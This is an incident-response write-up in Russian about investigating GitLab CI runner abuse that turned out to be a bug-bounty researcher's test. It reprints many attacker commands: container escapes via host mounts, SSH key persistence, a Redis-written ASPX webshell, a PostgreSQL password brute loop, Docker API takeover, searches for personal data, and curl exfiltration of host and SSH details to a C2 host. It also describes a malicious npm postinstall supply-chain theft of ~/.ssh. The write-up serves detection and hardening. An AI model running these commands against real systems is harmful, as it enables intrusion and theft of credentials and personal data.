Всем привет от команды DFIR JetCSIRT! Хотим поделиться с вами одним интересным кейсом, эмоции от которого прекрасно описывает эта картинка:

Но обо всем по порядку…

Итак. Заказчик заводит запрос на расследование, в котором говорит, что учетная запись разработчика пушит непонятные коммиты в GitLab. По почте они установили, что пользователь выпустил себе несколько access-токенов, при этом новых входов в веб GitLab в этот период зафиксировано не было.  Подозревают, что скомпрометирован личный комп пользователя, с которого он работает с GitLab. Важное дополнение: в коммитах они видят заголовок X-BugBounty, но, со слов Заказчика, они не участвуют в программе багбаунти, поэтому уверены, что так маскируется злоумышленник. Заблокировали учетку разработчика и начали собирать триаж с его АРМ на анализ.

Пока собирались данные, мы успели посмотреть, что зафиксировал наш мониторинг:

  • скан с узла runner;

  • ssh-брут с узла runner;

  • эксплуатации уязвимостей с узла runner;

  • impacket с узла runner…

Стоит отметить, что GitLab находится вне инфраструктуры Заказчика, поэтому, похоже, злоумышленник запускает вредоносные пейлоады через runner, который расположен уже внутри, тем самым пытается распространиться и повыситься. Мы бьем тревогу, изолируем узел runner и запрашиваем на анализ все необходимые данные с GitLab и затронутых систем.

Что же делает злоумышленник?

В день инцидента в 00:11 он перебирает проекты через gitlab-shell, авторизовавшись с ssh-ключом под УЗ того самого разработчика. Откуда взялся ssh-ключ, спросите вы? Предлагаем пока отложить этот вопрос и вернуться к нему чуть позже.

В 00:24 он уже выпускает себе токен, и начинается самое интересное. В логах jobs видим примерно следующий стиль:

Дисклеймер

Здесь и далее мы скрываем любые данные, которые атрибутируют злоумышленника или Заказчика:

IP-адрес злоумышленника – 100.100.100.100

Домен злоумышленника – domain.su

Никнейм злоумышленника – Bughunter

УЗ разработчика Заказчика – Вася Пупкин (pupkin)

===== JOB 3150646 TRACE START =====
project=[masked]/etz/etz.front name=security-test status=success ref=security-test-Bughunter pipeline=805678 runner=743
Running with gitlab-runner 17.10.0 (67b2b2db)
Pulling docker image docker:20.10-dind ...
Executing "step_script" stage of the job script
$ echo "X-BugBounty Bughunter - Security Test"
X-BugBounty Bughunter - Security Test
$ whoami
root
$ id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

То есть злоумышленник вносит коммиты в .gitlab-ci.yml, запускает пайплайн, в рамках которого создается job security-test, runner запускает контейнер и в нем выполняет команды из script.

Злоумышленник по базе проводит разведку окружения. Что самое интересное, перед каждой командой он выводит пояснение с помощью echo.

$ echo "X-BugBounty Bughunter - escalation recon"
$ echo "=== HOST FILESYSTEM ==="
$ docker run --rm -v /:/host alpine sh -c "cat /host/etc/hostname 2>/dev/null; echo ---; cat /host/etc/hosts 2>/dev/null | head -30; echo ---; ls -la /host/home/ 2>/dev/null; echo ---; ls -la /host/root/.ssh/ 2>/dev/null; cat /host/root/.ssh/known_hosts 2>/dev/null | head -20"[0;m
$ echo "=== GITLAB RUNNER CONFIG ==="
$ docker run --rm -v /:/host alpine sh -c "find /host -maxdepth 5 -name config.toml -path '*gitlab*' 2>/dev/null -exec head -80 {} \;"[0;m
concurrent = 10
$ echo "=== HOST NETWORK INTERFACES ==="
$ docker run --rm --net=host alpine ip addr show
$ echo "=== USER SSH KEYS ==="
$ docker run --rm -v /:/host alpine sh -c "for d in /host/home/*/; do u=\$(basename \$d); echo --- \$u ---; ls -la \$d/.ssh/ 2>/dev/null; cat \$d/.ssh/id_rsa.pub 2>/dev/null; cat \$d/.ssh/authorized_keys 2>/dev/null | head -5; done"

Вам ничего не напоминает «===»? Да-да, так обычно оставляют комменты ChatGPT и аналогичные ИИ-сервисы.

Здесь он закрепляется на узле runner со своим ssh-ключом:

$ echo "=== STEP 1 - SSH KEY ON RUNNER HOST ==="
$ docker run --rm -v /:/host alpine sh -c "echo 'ssh-ed25519 [masked] bb-bughunter-test' >> /host/root/.ssh/authorized_keys; cat /host/root/.ssh/authorized_keys"

После разведки окружения он сканит подсеть с помощью nmap. Потом по найденным открытым портам начинает обращаться к различным сервисам. Например, подключается к Redis-серверу без аутентификации, выполняет команды разведки, получает список ключей и содержимое записей:

$ docker run --rm --net=host alpine sh -c ' # collapsed multi-line command
=== REDIS [masked] (NO AUTH) ===
# Server
[masked]
# Keyspace
[masked]
$ echo "X-BugBounty Bughunter - Redis data extraction"
$ docker run --rm --net=host alpine sh -c ' # collapsed multi-line command
=== REDIS db0 HGETALL sample ===
[masked]
=== REDIS db0 SECOND KEY ===
[masked]
=== REDIS db7 HGETALL sample ===
[masked]

Демонстрирует, что можно изменить конфиг:

$ docker run --rm --net=host alpine sh -c ' # collapsed multi-line command
=== REDIS CONFIG SET PROOF ===
--- Current dir ---
dir
C:\Program Files\Redis
--- Set dir to IIS webroot ---
OK
--- Verify ---
dir
C:\inetpub\wwwroot
--- Set dbfilename ---
OK
--- Verify ---
dbfilename
test-bughunter.txt
--- Restore original ---
OK

Заметили пункт «Restore original»? Думаю, что с этого момента мы все-таки перестанем называть его злоумышленником. Повсюду расставленные теги X-BugBounty, коммиты от ChatGPT, паттерны «нелегитимной» активности по канонам багбаунти, откат к первоначальному состоянию… Поэтому дальше будем называть его багхантером-нелегалом.

Тут он показывает реализацию RCE на все том же Redis:

$ echo "=== STEP 2 - Write ASPX webshell payload ==="
$ redis-cli -h 10.50.101.17 SET bughunter-rce "\r\n<%@ Page Language=\"C#\" %><%Response.Write(\"BUGHUNTER-BB-POC|\"+System.Environment.MachineName+\"|\"+System.Environment.UserName+\"|\"+System.Environment.UserDomainName+\"|\"+System.Environment.OSVersion.ToString());%>\r\n"
$ redis-cli -h 10.50.101.17 BGSAVE
Background saving started
$ echo "=== STEP 3 - Trigger webshell ==="
$ curl -sv -m 10 "http://10.50.101.17/bughunter-bb.aspx" 2>&1 || true
*   Trying 10.50.101.17:80...
* Connected to 10.50.101.17 (10.50.101.17) port 80
* using HTTP/1.x
> GET /bughunter-bb.aspx HTTP/1.1
> Host: 10.50.101.17
> User-Agent: curl/8.12.1
> Accept: */*
$ echo "=== STEP 4 - Cleanup ==="
$ redis-cli -h 10.50.101.17 DEL bughunter-rce

Пытается сбрутить учетки PostgreSQL стандартными паролями:

$ echo "=== PG brute with found passwords ==="
$ export HOSTS="..."
$ export USERS="..."
$ export PASSWORDS="qwerty ciqwerty qwerty123! custom_pass test postgres password P@ssw0rd"
$ for h in $HOSTS; do for u in $USERS; do for p in $PASSWORDS; do RESULT=$(PGPASSWORD=$p psql -h $h -U $u -p 5432 -c "SELECT current_database(),current_user,version();" 2>&1 | head -3); if echo "$RESULT" | grep -q "row"; then echo "SUCCESS $h $u/$p"; echo "$RESULT"; fi; done; done; done

Также багхантер подключается к Elasticsearch без аутентификации:

=== Try Elasticsearch without auth ===
$ curl -sk -m 5 http://10.50.101.3:9200/ || true
$ curl -sk -m 5 http://10.50.101.2:9200/ || true
$ curl -sk -m 5 http://10.50.101.4:9200/ || true

Создает индекс Elasticsearch и записывает туда данные для теста. Все эти действия он выполняет через python-скрипты, завернутые в Base64:

$ docker run --rm --net=host python:3.11-alpine sh -c "echo aW1wb3J0IHVybGxpYi5yZXF1ZXN0LCBqc29uLCBzc2wKY3R4ID0gc3NsLmNyZWF0ZV9kZWZhdWx0X2NvbnRleH[masked]
=== CREATE TEST INDEX ===
CREATE: {"acknowledged":true,"shards_acknowledged":true,"index":"bb-bughunter-test-index"}
=== WRITE TEST DOC ===
WRITE: {"_index":"bb-bughunter-test-index","_id":"1","_version":1,"result":"created","_shards":{"total":1,"successful":1,"failed":0},"_seq_no":0,"_primary_term":1}
=== READ BACK ===
READ: {"_index":"bb-bughunter-test-index","_id":"1","_version":1,"_seq_no":0,"_primary_term":1,"found":true,"_source":{"message": "X-BugBounty: Bughunter - proof of write access", "timestamp": "2026-05-21"}}
=== DELETE TEST INDEX ===
DELETE: {"acknowledged":true}

Еще он пробует вытащить персональные данные (email, телефоны, паспорта, адреса, зарплаты и прочее) из индексов Elasticsearch:

=== PASSPORT/SNILS/ADDRESS: 10000 hits ===
  [cmw_test-prod_system_event_adapter]
  {"id": "08de8a99-6bce-2e9a-9255-000000011303", "previous_event": "08de8a99-6bce-2e9a-9255-000000011302", "origin_event": "08de8a99-6bce-2e9a-0000-000000000000", "initiator": {"abbreviation": "[masked]", "type": "Account", "id": "account.3690", "name": "[masked]", "alias": "[masked]"}, "type": "AdapterRequestSent", "status": "Success", "solution": {"type": "Solution", "id": "system", "name": "system"}, "container": {"type": "Adapter", "id": "adapter", "name": "adapter"}, "adapter_data": {"plugin": {"type": "Adapter", "id": "adapter.2", "nam
 === ФАМИЛИЯ OR ФИО OR SURNAME: 10000 hits ===
  [masked]
=== ДАТА РОЖДЕНИЯ OR BIRTHDAY OR BIRTHDATE: 10000 hits ===
  [masked]
=== ЗАРПЛАТА OR SALARY OR ОКЛАД: 43 hits ===
  [masked]

Багхантер попадает на хост из контейнера на одном из продуктовых серверов. Подключается к Docker API без аутентификации и создает новый контейнер с host mount, а также альтернативно повышается до уровня хоста с помощью chroot:

$ echo "X-BugBounty Bughunter - DOCKER RCE"
$ docker run --rm --net=host python:3.11-alpine sh -c "echo aW1wb3J0IHVybGxpYi5yZXF1ZXN0LCBqc29uCgpBUEkgPSAiaHR0cDovLz[masked]| base64 -d > /tmp/s.py && python3 /tmp/s.py"
=== RUNNING CONTAINERS ===
  76314479fc85 ['/pushgateway'] prom/pushgateway running
  5ca3556e205b ['/grafana-container'] grafana/grafana running
  5c46d78fb40c ['/prometheus'] prom/prometheus running
  d04022e41e54 ['/portainer'] portainer/portainer running
=== EXEC IN /pushgateway (76314479fc85) ===
Exec ID: ba5bebe6b7b4a31ebff74cef6f899e91c335c2c181e7e3f5442def7b0866a02d
OUTPUT:
$uid=65534(nobody) gid=65534(nobody)
=== CREATE CONTAINER WITH HOST MOUNT ===
Created: eaf154407262
$ docker -H tcp://10.50.100.90:2375 run --rm --pid=host --privileged --net=host -v /:/host alpine chroot /host sh -c "hostname && id && whoami && cat /etc/os-release | head -3 && echo --- && uname -a && echo --- && ls /home/"

А потом он получает доступ к PostgreSQL (без аутентификации) на скомпрометированном продуктовом сервере:

$ docker -H tcp://10.50.100.90:2375 run --rm --privileged --net=host --pid=host -v /:/host alpine chroot /host sh -c "su postgres -c 'psql -c \"SELECT version();\"' && su postgres -c 'psql -c \"\\l\"' && su postgres -c 'psql -c \"SELECT datname, pg_size_pretty(pg_database_size(datname)) as size FROM pg_database ORDER BY pg_database_size(datname) DESC;\"'"
$ docker -H tcp://10.50.100.90:2375 run --rm --privileged --net=host --pid=host -v /:/host alpine chroot /host su postgres -c "psql -d erp_profil -c \"SELECT column_name FROM information_schema.columns WHERE table_name='_reference219' AND table_schema='public' ORDER BY ordinal_position LIMIT 30;\""
$ echo "=== SEARCH FOR FIO/PHONE COLUMNS ==="
$ docker -H tcp://10.50.100.90:2375 run --rm --privileged --net=host --pid=host -v /:/host alpine chroot /host su postgres -c "psql -d erp_profil -c \"SELECT table_name, column_name FROM information_schema.columns WHERE table_schema='public' AND (column_name ILIKE '%fio%' OR column_name ILIKE '%phone%' OR column_name ILIKE '%email%' OR column_name ILIKE '%name%' OR column_name ILIKE '%passport%' OR column_name ILIKE '%snils%' OR column_name ILIKE '%inn%' OR column_name ILIKE '%address%') LIMIT 30;\""
$ docker -H tcp://10.50.100.90:2375 run --rm --privileged --net=host --pid=host -v /:/host alpine chroot /host su postgres -c "psql -d grafana_db -c 'SELECT login, email, password, salt, is_admin FROM \"user\";'"

Еще в истории .psql_history находит пароль в открытом виде:

$ docker -H tcp://10.50.100.90:2375 run --rm -v /:/host alpine cat /host/root/.psql_history || true
lisr list user ls
\du
alter user postgres with password '[masked]' exit /q /quit /exit

Также багхантер немного анализирует AD через impacket, ищет контроллеры домена, центры сертификации, возможность атак через SMB:

$ docker run --rm --net=host python:3.11-alpine sh -c "apk add -q --no-cache bind-tools 2>/dev/null && pip install -q impacket 2>/dev/null && echo aW1wb3J0IHNvY2tldCwgc3RydWN0LCBvcwoKREMgPSAiMTAuOT[masked]| base64 -d > /tmp/s.py && python3 /tmp/s.py"
=== ADCS DISCOVERY ===
=== PRINTERBUG CHECK ===
  10.50.100.6:445 OPEN (SMB for SpoolSS)
=== SPOOLSS PIPE CHECK ===
  10.50.100.6 spoolss: access denied (needs creds)
=== SCAN FOR ADCS WEB ENROLLMENT ===
!!! ADCS WEB 10.50.100.34: 200

В целом там есть еще несколько интересных атак, демонстрирующих дыры безопасности (сколько раз вы встретили в тексте «без аутентификации»?). Но предлагаем остановиться на этом и перейти к волнующему всех вопросу.

Так откуда взялся ssh-ключ?

Как мы помним, багхантер начал свою активность с ssh-ключом Васи Пупкина (pupkin). Из интересного — он пытался распространиться на другие узлы с украденным ssh-ключом:

$ echo "=== COPY PUPKIN SSH KEY AND TRY INTERNAL HOSTS ==="

Так как закрытый ключ хранится на стороне клиента и не передается по сети (в случае здравомыслия пользователя), то наша рабочая гипотеза — утечка в результате работы стилера на АРМ Васи.

Мы проанализировали артефакты на его узле и не обнаружили следов работы стилера, как и других следов компрометации. Было много ИИ-агентов, которые вызывали подозрения, но ничего конкретного. Также мы подключили наш сервис киберразведки для поиска утекшего ssh-ключа. Ключ не обнаружили.

Начали закрадываться сомнения, что это стилер. Сомнения укрепились после того, как проанализировали логи с сервера gitlab. За неделю до инцидента багхантер осуществлял скан веба gitlab и ssh-брутфорс нескольких учеток на хосте (и pupkin не входил в их число). Как говорится: можно, а зачем? Если есть ключ, бери да заходи с ним. Следовательно, на тот момент ключа еще не было. И он смог найти его за неделю, а наша киберразведка — нет?

Так как найти утечку не удавалось, мы решили подойти чуть-чуть с другой стороны и найти багхантера…

Кто ты, воин?

При анализе коммитов мы видели, что багхантер делает отстук на свой С2-сервер:

curl -s -m 10 -X POST "http://100.100.100.100:1337/ci-callback"

В целом с этого же адреса осуществлялась вся его активность, в том числе ssh-подключения.

На этом адресе резолвится домен [masked].domain.su. При переходе на http://100.100.100.100:1337/ci-callback или http:// [masked].domain.su:1337/ci-callback возвращалась строка:

{"status": "ok", "ts": "timestamp UTC"}

А при классическом обращении на веб открывалась форма входа:

Почему важно, что домен однозначно идентифицируется с багхантером-нелегалом? Потому что адрес 100.100.100.100 принадлежит популярному веб-хостингу и на нем резолвится еще один домен VPN-сервиса. Нам надо было знать наверняка.

Теперь изучаем информацию о домене и находим почтовый адрес того, на кого он зарегистрирован:

Чудеса, мы получили личную почту регистранта.

А что если просто погуглить сочетание BugBounty и никнейм Bughunter? Тогда мы найдем профиль человека на площадке багбаунти по ссылке типа такой https://[masked].com/ru-RU/profile/*Bughunter*/.

PS О том, что это никнейм, мы узнали только после того, как нашли профиль пользователя. Слово, которое мы заменили на Bughunter, не похоже на ник и первоначально не находилось при аналогичном поисковом запросе.

Ну, а дальше уже все пошло как по маслу. В профиле площадки багбаунти у него есть ссылка на личный телеграм, в аккаунте закреплен его открытый канал, который он подробно ведет. Из него мы узнали фамилию и имя, а также то, что он активно занимается багбаунти. И что VPN-сервис тоже принадлежит ему.

Преступление и наказание?

Напомним, что за несанкционированный доступ в инфраструктуру и выполнение вредоносных действий предусмотрена уголовная ответственность, согласно нашему законодательству. Даже если это подается под соусом багбаунти — ведь Заказчик не выставлялся на него.

Поэтому мы передали всю найденную информацию Заказчику, чтобы он дальше сам вершил судьбу багхантера-нелегала. Нам сказали «Большое спасибо», а через полчаса вернулись с обратной связью…

Как все было на самом деле?

Оказалось, что Заказчик был выставлен на «закрытую» программу багбаунти на реализацию недопустимого события. И наш багхантер выступал исследователем по данным работам. Теперь вернитесь в начало статьи и посмотрите на суслика...

На самом деле мы, конечно же, не расстроились, потому что доблестный Центр мониторинга и реагирования на инциденты ИБ выполнял свой долг, и считаем, что справились с этим, хоть и не нашли причину утечки ssh-ключа. Но мы были очень близки…

Багхантер нашел опубликованный npm-реестр Заказчика, где была открыта регистрация. Он зарегистрировался в данном сервисе и заменил один из пакетов на свою версию, в которой был вредоносный скрипт postinstall. Через несколько дней разработчик работал в IDE WebStorm и подтянул обновленный пакет. Скрипт собрал информацию об окружении и содержимое каталога ~/.ssh, а затем осуществил эксфильтрацию на C2. Такой вот вышел своего рода supply chain.

А близки мы были, потому что при расследовании видели опубликованный npm-реестр, однако тот пакет не был виден на главной странице, найти его можно было только через поисковую строку. Да и вряд ли без каких-либо улик кто-то пойдет перепроверять содержимое всех пакетов на изменения. Тем более, что по артефактам ОС не было видно явных нелегитимных действий.

Теперь же, зная способ «проникновения», мы провели небольшое исследование — а где в принципе это можно было обнаружить на узле?

В логах npm-cache C:\Users\user\AppData\Local\npm-cache\_logs\timestamp-debug-0 фиксируются две строчки, относящиеся к скрипту:

info run @test-ui/[masked]@2.5.5 postinstall node_modules/@test-ui/[masked] sh postinstall.sh
info run @ est-ui/[masked]@.5.5 postinstall { code: 0, signal: null }

И… это все. Какие команды выполняются внутри скрипта, нигде не видно. При этом сам скрипт не остается на узле как файловый артефакт. В данном случае мог бы помочь только Sysmon\EDR.

Пример детектирования команды эксфильтрации на С2 с помощью события создания процесса Sysmon 1:

"C:\Program Files\Git\mingw64\bin\curl.exe" -s -m 10 -X POST http://100.100.100.100:1337/npm-callback -H "Content-Type: application/json" -d "{\"whoami\":\"user\",\"id\":\"uid=1049690(user) gid=1049089 groups=1049089\",\"hostname\":\"WS01\",\"uname\":\"MINGW64_NT-10.0-19045 WS01 3.6.7-fb42d713.x86_64 Msys\",\"pwd\":\"/c/Users/user/Downloads/node_modules/@test-ui/[masked]\",\"ifconfig\":\"\",\"ssh_info\":\"no keys found\",\"ssh_keys\":\"none\",\"ci_env\":\"none\",\"k8s_sa\":\"none\",\"docker\":\"none\"}"

К сожалению, у нас на анализе был личный комп разработчика, на котором не был настроен даже классический аудит.

Подводим итоги

Всем аналитикам, которые столкнутся с аналогичным вектором кражи ssh-ключа и не найдут его в утечках, рекомендуем смотреть, какие пакеты устанавливались на узле разработчика. Обратите внимание на те немногие следы, которые остаются в логах менеджеров пакетов. И потратьте время на анализ последних измененных пакетов в реестре.

А что касается рекомендаций для всех владельцев похожих проблем в инфраструктуре:

  1. не публикуйте в интернет критичные сервисы, необходимые в работе только внутренним пользователям;

  2. в случае необходимости публикации сервисов в интернет используйте многофакторную аутентификацию;

  3. обеспечьте постоянный контроль опубликованных сервисов и своевременно устраняйте излишние доступы (например, к формам регистрации);

  4. не допускайте доступ без аутентификации к критичным ресурсам, даже если они находятся внутри сети;

  5. разделите gitlab-runners в зависимости от команд и типов задач;

  6. разместите gitlab-runners в выделенные подсети разработчиков, настройте жесткие ACL только до необходимых серверов;

  7. используйте подписи коммитов для валидации вносимых изменений в gitlab;

  8. настройте срок жизни ssh-ключей в администрировании gitlab;

  9. используйте в работе только корпоративные устройства с настроенным аудитом и сбором телеметрии в системы мониторинга.

Авторы:

Валерия Шотт, ведущий аналитик группы киберкриминалистики «Инфосистемы Джет»

Даниил Кирьяков, ведущий аналитик группы исследования киберугроз «Инфосистемы Джет»